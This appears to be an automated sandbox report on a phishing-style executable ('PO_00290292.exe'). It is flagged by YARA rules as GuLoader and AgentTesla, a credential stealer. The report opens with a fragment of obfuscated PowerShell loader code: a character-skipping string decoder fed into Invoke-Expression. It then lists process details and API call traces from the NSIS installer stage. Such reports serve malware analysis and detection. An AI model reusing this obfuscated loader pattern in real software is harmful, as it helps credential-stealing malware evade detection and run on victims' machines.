CDChiSusNolStoTaaAkdRe3Fo Ub=ci NePLeyTix Ei SdTieThs N4Al Ka' I4 sA S3OvDTr1 LAHy0KeBUn0UnF T0PrA N1StDSt4Si0At2 Y7Sy0Kv0 S1Te8Un0Bi1Py0La5Cu0SyBBi4 P6bl4TrA P3 S9Ra0As7Kr0 o0 W1InAWe0DeBHa1toC B1Ph9Mo0ByBVo0MaBWh0PrARe5FlASt5GeDTr4Ra2Sm4FoAAa3ElDIc0Bu5Tr1 MBki1SoESl1 HDLa0Ny6Sa1EmAca0 S7 L0La0Dy0BjFRu4Ok2Aa4 MAPr2Kn1De1NiBSt0 RA A0StBUr0Me3 S0pr7Re0AfFSa0no0Ma4Un2Tr5 LESp4In2Bu5UpE R4Qu7 T'Th;Ba&Po( O`$ PSHaa AwTewBaoBirFikOceUdrru8Kl5Ho7 B)Br Ma`$StDAdiInsEtlCaoReaModSk3Af#Wi;""";<#Mageskifterne Tarwood Setiferous Stokvrker skillevej Saudiere #>;;function xorami ($Indbyggedes,$Magnetbelgning240) { &$Flagellanten0 (Disload9 'Fl$TeIabnInd CbPeyUngangMeeSkdPaeAgsHa B-RebhaxTeoderBa Tr$ UMsuaUng snAceCht PbTeeSilMeg Jn MiTanVegMi2Do4 T0Af ');}Function Disload9 { param([String]$Solfald); <#hovedpunkts Restemad Cataloguing Reseeking Commonality celebrating Sportsdirektr #>; For($Nonexpectant=2; $Nonexpectant -lt $Solfald.Length-1; $Nonexpectant+=(2+1+(1-1))){ <#Konditoris Endestation Kolhozy Ataghans Vinkortets #>; $Nonexplosives+=$Solfald.Substring($Nonexpectant, 1)} $Nonexplosives;};;$Flagellanten0 = Disload9 'ReIBuE aX B ';$Flagellanten1= Disload9 $Portugals;&$Flagellanten0 $Flagellanten1;<#Temperaturmaalingen Randingerne Kdvarerne Punditries Afkrslen Mocambiquernes Galleriets #>;
Imagebase:	0xf60000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_GuLoader_5, Description: Yara detected GuLoader, Source: 00000004.00000002.1604051248.0000000005CF5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GuLoader_5, Description: Yara detected GuLoader, Source: 00000004.00000002.1607101353.0000000008450000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000004.00000002.1607315520.00000000087AA000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	09:02:29
Start date:	24/01/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe
Imagebase:	0x640000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.2609495360.0000000020171000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000005.00000002.2609495360.0000000020171000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	25.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	21.5%
Total number of Nodes:	1337
Total number of Limit Nodes:	35

Executed Functions

Function 004033B6 Relevance: 91.4, APIs: 34, Strings: 18, Instructions: 401
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 004033D9
GetVersion.KERNEL32 ref: 004033DF
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 00403408
#17.COMCTL32(00000007,00000009), ref: 0040342B
OleInitialize.OLE32(00000000), ref: 00403432
SHGetFileInfoW.SHELL32(004216E8,00000000,?,000002B4,00000000), ref: 0040344E
GetCommandLineW.KERNEL32(00429240,NSIS Error), ref: 00403463
GetModuleHandleW.KERNEL32(00000000,"C:\Users\user\Desktop\PO_00290292.exe",00000000), ref: 00403476
CharNextW.USER32(00000000,"C:\Users\user\Desktop\PO_00290292.exe",00000020), ref: 0040349D

Part of subcall function 00406558: GetModuleHandleA.KERNEL32(?,00000020,?,0040341F,00000009), ref: 0040656A
Part of subcall function 00406558: GetProcAddress.KERNEL32(00000000,?), ref: 00406585

GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\), ref: 004035D7
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 004035E8
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004035F4
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp), ref: 00403608
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low), ref: 00403610
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low), ref: 00403621
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\), ref: 00403629
DeleteFileW.KERNELBASE(1033), ref: 0040363D

Part of subcall function 0040617E: lstrcpynW.KERNEL32(?,?,00000400,00403463,00429240,NSIS Error), ref: 0040618B

ExitProcess.KERNEL32(?), ref: 00403703
OleUninitialize.OLE32(?), ref: 00403708
ExitProcess.KERNEL32 ref: 00403729
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu), ref: 0040373C
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,0040A328), ref: 0040374B
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,.tmp), ref: 00403756
lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\Desktop,C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\PO_00290292.exe",00000000,?), ref: 00403762
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\), ref: 0040377E
DeleteFileW.KERNEL32(00420EE8,00420EE8,?,0042B000,?), ref: 004037D8
CopyFileW.KERNEL32(C:\Users\user\Desktop\PO_00290292.exe,00420EE8,00000001), ref: 004037EC
CloseHandle.KERNEL32(00000000,00420EE8,00420EE8,?,00420EE8,00000000), ref: 00403819
GetCurrentProcess.KERNEL32(00000028,?), ref: 00403848
OpenProcessToken.ADVAPI32(00000000), ref: 0040384F
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403864
AdjustTokenPrivileges.ADVAPI32 ref: 00403887
ExitWindowsEx.USER32(00000002,80040002), ref: 004038AC
ExitProcess.KERNEL32 ref: 004038CF

Strings

C:\Users\user\AppData\Local\blindsmagningen\Nonprocurement, xrefs: 004036E5
Error writing temporary file. Make sure your temp folder is valid., xrefs: 004033CD
C:\Users\user\AppData\Local\Temp\, xrefs: 004035CC, 004035D1, 004035E7, 004035F3, 00403602, 0040360F, 0040361B, 00403623, 00403739, 0040374A, 00403755, 00403761, 0040376E, 0040377D, 0040382E
1033, xrefs: 00403638
~nsu, xrefs: 00403734
.tmp, xrefs: 00403750
TEMP, xrefs: 0040361C
Error launching installer, xrefs: 004036BF
C:\Users\user\AppData\Local\blindsmagningen\Nonprocurement, xrefs: 004035BA, 004036DA, 00403784, 0040378E
"C:\Users\user\Desktop\PO_00290292.exe", xrefs: 00403469, 0040346F, 00403665
\Temp, xrefs: 004035EE
SeShutdownPrivilege, xrefs: 0040385E
TMP, xrefs: 00403624
Low, xrefs: 0040360A
C:\Users\user\Desktop, xrefs: 0040375B, 00403760, 0040378D
UXTHEME, xrefs: 004033FC, 00403401, 00403407
NSIS Error, xrefs: 00403454
C:\Users\user\Desktop\PO_00290292.exe, xrefs: 004037E7

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: Processlstrcat$ExitFile$Handle$CurrentDeleteDirectoryEnvironmentModulePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpynlstrlen
String ID: "C:\Users\user\Desktop\PO_00290292.exe"$.tmp$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\blindsmagningen\Nonprocurement$C:\Users\user\AppData\Local\blindsmagningen\Nonprocurement$C:\Users\user\Desktop$C:\Users\user\Desktop\PO_00290292.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 354199918-1646223993
Opcode ID: 1d8223e16c8a6003b83d058067bded84b497836c53eb7fdc95fb885acef81e31
Instruction ID: be8551fa6605ebbbfda7487142ffb020be8bd547a3943651712312bea09c5587
Opcode Fuzzy Hash: 1d8223e16c8a6003b83d058067bded84b497836c53eb7fdc95fb885acef81e31
Instruction Fuzzy Hash: AED10571200300ABE7207F659D49A2B3AEDEB4074AF50443FF881B62D2DB7C8956876E

Uniqueness

Uniqueness Score: -1.00%

Function 0040541C Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 284
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 0040547A
GetDlgItem.USER32(?,000003EE), ref: 00405489
GetClientRect.USER32(?,?), ref: 004054C6
GetSystemMetrics.USER32(00000002), ref: 004054CD
SendMessageW.USER32(?,00001061,00000000,?), ref: 004054EE
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004054FF
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 00405512
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 00405520
SendMessageW.USER32(?,00001024,00000000,?), ref: 00405533
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405555
ShowWindow.USER32(?,00000008), ref: 00405569
GetDlgItem.USER32(?,000003EC), ref: 0040558A
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 0040559A
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004055B3
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 004055BF
GetDlgItem.USER32(?,000003F8), ref: 00405498

Part of subcall function 00404277: SendMessageW.USER32(00000028,?,00000001,004040A3), ref: 00404285

GetDlgItem.USER32(?,000003EC), ref: 004055DC
CreateThread.KERNELBASE(00000000,00000000,Function_000053B0,00000000), ref: 004055EA
FindCloseChangeNotification.KERNELBASE(00000000), ref: 004055F1
ShowWindow.USER32(00000000), ref: 00405615
ShowWindow.USER32(?,00000008), ref: 0040561A
ShowWindow.USER32(00000008), ref: 00405664
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405698
CreatePopupMenu.USER32 ref: 004056A9
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 004056BD
GetWindowRect.USER32(?,?), ref: 004056DD
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004056F6
SendMessageW.USER32(?,00001073,00000000,?), ref: 0040572E
OpenClipboard.USER32(00000000), ref: 0040573E
EmptyClipboard.USER32 ref: 00405744
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405750
GlobalLock.KERNEL32(00000000), ref: 0040575A
SendMessageW.USER32(?,00001073,00000000,?), ref: 0040576E
GlobalUnlock.KERNEL32(00000000), ref: 0040578E
SetClipboardData.USER32(0000000D,00000000), ref: 00405799
CloseClipboard.USER32 ref: 0040579F

Strings

{, xrefs: 00405682
(7B, xrefs: 0040570A

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendChangeClientDataEmptyFindLockMetricsNotificationOpenSystemThreadTrackUnlock
String ID: (7B${
API String ID: 4154960007-525222780
Opcode ID: eb59534d035534922114e87074bc313431370419dc47d72610ca3581fdfcb614
Instruction ID: 3349dadf3efb3a8fdffdb79f187be012afacb07b5928e089a4a7fd9dccbac2fd
Opcode Fuzzy Hash: eb59534d035534922114e87074bc313431370419dc47d72610ca3581fdfcb614
Instruction Fuzzy Hash: 60B15670900608FFDB119FA0DD89EAE3B79FB48354F40847AFA45A61A0CB754E52DF68

Uniqueness

Uniqueness Score: -1.00%

Function 004061A0 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 207
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32(00000000,Remove folder: C:\Users\user\AppData\Local\Temp\nsp6601.tmp\,?,00405314,Remove folder: C:\Users\user\AppData\Local\Temp\nsp6601.tmp\,00000000,00000000,00000000), ref: 00406263
GetSystemDirectoryW.KERNEL32(Remove folder: ,00000400), ref: 004062E1
GetWindowsDirectoryW.KERNEL32(Remove folder: ,00000400), ref: 004062F4
SHGetSpecialFolderLocation.SHELL32(?,?), ref: 00406330
SHGetPathFromIDListW.SHELL32(?,Remove folder: ), ref: 0040633E
CoTaskMemFree.OLE32(?), ref: 00406349
lstrcatW.KERNEL32(Remove folder: ,\Microsoft\Internet Explorer\Quick Launch), ref: 0040636D
lstrlenW.KERNEL32(Remove folder: ,00000000,Remove folder: C:\Users\user\AppData\Local\Temp\nsp6601.tmp\,?,00405314,Remove folder: C:\Users\user\AppData\Local\Temp\nsp6601.tmp\,00000000,00000000,00000000), ref: 004063C7

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 00406367
Remove folder: C:\Users\user\AppData\Local\Temp\nsp6601.tmp\, xrefs: 004061C5
Remove folder: , xrefs: 004061CA, 004062AA, 004062CB, 004062E0, 004062F3, 0040630F, 0040633A, 0040636C, 00406372, 0040638C, 004063A0, 004063C0, 004063C6, 004063D2, 00406405
Software\Microsoft\Windows\CurrentVersion, xrefs: 004062AF

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: Remove folder: $Remove folder: C:\Users\user\AppData\Local\Temp\nsp6601.tmp\$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-953462347
Opcode ID: 978d560dfc87019ac3657ebba0841bd774ce65c1ae89d16051c02eb976f42344
Instruction ID: 57c77dc533264c97ace6329bd87f7d674c2bea75a5b3d90d15d675b8bae5a73d
Opcode Fuzzy Hash: 978d560dfc87019ac3657ebba0841bd774ce65c1ae89d16051c02eb976f42344
Instruction Fuzzy Hash: 1E611571A00104EBDF209F24CC40AAE37A5AF15314F56817FED56BA2D0D73D8AA2CB9D

Uniqueness

Uniqueness Score: -1.00%

Function 0040596F Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(?,?,75573420,75572EE0,00000000), ref: 00405998
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\nsp6601.tmp\*.*,\*.*), ref: 004059E0
lstrcatW.KERNEL32(?,0040A014), ref: 00405A03
lstrlenW.KERNEL32(?,?,0040A014,?,C:\Users\user\AppData\Local\Temp\nsp6601.tmp\*.*,?,?,75573420,75572EE0,00000000), ref: 00405A09
FindFirstFileW.KERNELBASE(C:\Users\user\AppData\Local\Temp\nsp6601.tmp\*.*,?,?,?,0040A014,?,C:\Users\user\AppData\Local\Temp\nsp6601.tmp\*.*,?,?,75573420,75572EE0,00000000), ref: 00405A19
FindNextFileW.KERNELBASE(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405AB9
FindClose.KERNEL32(00000000), ref: 00405AC8

Strings

C:\Users\user\AppData\Local\Temp\nsp6601.tmp\*.*, xrefs: 004059C8, 004059CE, 004059DF, 00405A18
"C:\Users\user\Desktop\PO_00290292.exe", xrefs: 0040596F
\*.*, xrefs: 004059DA

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\PO_00290292.exe"$C:\Users\user\AppData\Local\Temp\nsp6601.tmp\*.*$\*.*
API String ID: 2035342205-1632907102
Opcode ID: 650d65efca721ae95f05fec5e6387b525ef9089e97d219b3eee7621c95804d20
Instruction ID: 6c547db7f4d1248ed83a6ec2b2b7cf99957869ea0eb35c9edb1a86952611c1c3
Opcode Fuzzy Hash: 650d65efca721ae95f05fec5e6387b525ef9089e97d219b3eee7621c95804d20
Instruction Fuzzy Hash: 5A41B530A40914A6CB21AB659CC9AAF7678EF41724F20427FF801711D1D77C5986DE6E

Uniqueness

Uniqueness Score: -1.00%

Function 00406846 Relevance: 5.4, APIs: 4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ead38b7015f9474378dd182d16c601773bd961a48b8ca1aefc3332049c463b86
Instruction ID: 84f5b91c3f937eb173619b21672ae23043901769df73ed9f159891f0fc81c8d0
Opcode Fuzzy Hash: ead38b7015f9474378dd182d16c601773bd961a48b8ca1aefc3332049c463b86
Instruction Fuzzy Hash: 72F18671D04229CBDF18CFA8C8946ADBBB0FF45305F25816ED856BB281D7385A8ACF45

Uniqueness

Uniqueness Score: -1.00%

Function 004064C1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(?,00426778,00425F30,00405C83,00425F30,00425F30,00000000,00425F30,00425F30, 4Wu.Wu,?,75572EE0,0040598F,?,75573420,75572EE0), ref: 004064CC
FindClose.KERNELBASE(00000000), ref: 004064D8

Strings

xgB, xrefs: 004064C2

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: xgB
API String ID: 2295610775-399326502
Opcode ID: 4403a27f78f835125bd15cd158b53f866fd18ebbb8f54cd400289453990cbd04
Instruction ID: 909a2899cbbcfc21b24ab628f9350e7a3c7b3772aa6d432f74911df6ac2d0bb5
Opcode Fuzzy Hash: 4403a27f78f835125bd15cd158b53f866fd18ebbb8f54cd400289453990cbd04
Instruction Fuzzy Hash: 8BD0C9315045209BC2111778AE4C85B7A98AF553317628A36B466F12A0C674CC22869C

Uniqueness

Uniqueness Score: -1.00%

Function 004027FB Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(00000000,?,00000002), ref: 0040280A

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 760ba12aea5bac669ea06a92ce868f6cfbbc58d79179603cd607c726fd559e33
Instruction ID: ca82d2f7608ddbe9a9db451b4e667c54ef54e9945bbc135f2cbc761c4928cd6d
Opcode Fuzzy Hash: 760ba12aea5bac669ea06a92ce868f6cfbbc58d79179603cd607c726fd559e33
Instruction Fuzzy Hash: 3CF08275600114DBC711EBE4DD49AAEB374FF00324F2045BBE105F31E1D7B499559B2A

Uniqueness

Uniqueness Score: -1.00%

Function 00403D6A Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403DA6
ShowWindow.USER32(?), ref: 00403DC3
DestroyWindow.USER32 ref: 00403DD7
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403DF3
GetDlgItem.USER32(?,?), ref: 00403E14
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403E28
